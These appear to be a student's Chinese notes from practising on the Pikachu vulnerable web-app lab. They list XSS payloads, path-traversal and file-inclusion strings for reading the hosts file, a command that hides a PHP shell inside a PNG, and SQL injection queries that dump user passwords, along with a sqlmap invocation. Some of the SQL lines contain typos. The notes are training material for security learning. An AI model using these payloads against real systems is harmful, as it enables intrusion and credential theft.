使用 pikachu 靶场
教程:https://www.cnblogs.com/henry666/p/16947270.html
结果 递归攻击时 burpsuit一直出bug
<img src=’‘onerror=’alert(1)’/>
specialchars这个函数吧,就是把单引号,双引号,尖括号过滤了,但是这个函数默认是不过滤单引号的,只有将quotestyle选项为ENT_QUOTES才会过滤单引号。
输入框的值会成为a标签的href属性,那么xss语句为:javascript:alert(1),就可以绕过了
‘onclick=’alert(1)’
文件上传、包含漏洞
本地文件包含
../../../../Windows/System32/drivers/etc/hosts
远程文件包含漏洞
同上,还可以包含恶意脚本,所以危害更大
file:///C:/Windows/System32/drivers/etc/hosts
文件上传漏洞
只在前端进行了限制,改一下包就可以进行攻击
MIME类型,也只是改一下传输的类型
拼接文件。
copy 1.png /b + 1.php /a shell.png
然后通过phpinfo拼接出上传后文件的真实地址,用文件包含漏洞读取就好了
sql注入漏洞
构造真假查询条件,返回差异性,则可以利用
反斜杠报错判断是否可以注入
查询时用union联合查询,返回列数必须相同
用order by 1/2/3/.........判断有多少列
把第一个数据设为-1 即可排除第一个数据
show databases;
显示所有数据库
use infomation_schema;
show tables;
显示所有表
select * from SCHEMATA;
搜索所有数据库–详细元数据
sslect TABLE_SCHEMA,TABLE_NAME from TABLES where TABLE_SCHMA = ‘pikachu’;
搜索pikachu数据库所有表
select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from COLUMNS where TABLE_NAME = ‘users’ and TABLE_SCHEMA = ‘pikachu’;
搜索pikachu中users的列名
select id,username,password,level from pikachu.users;
搜索到users的内容
用 group_concat(内容) 可以使内容显示到一行,逗号隔开
嫌太麻烦了?
→使用sqlmap
sqlmap -r ./sql.http -p id -dbs --batch
sqlmap 教程
https://blog.csdn.net/syg6921008/article/details/147056616
SQL盲注
请参考 实训记录-周一
还有时间盲注和宽字节注入,原理也很简单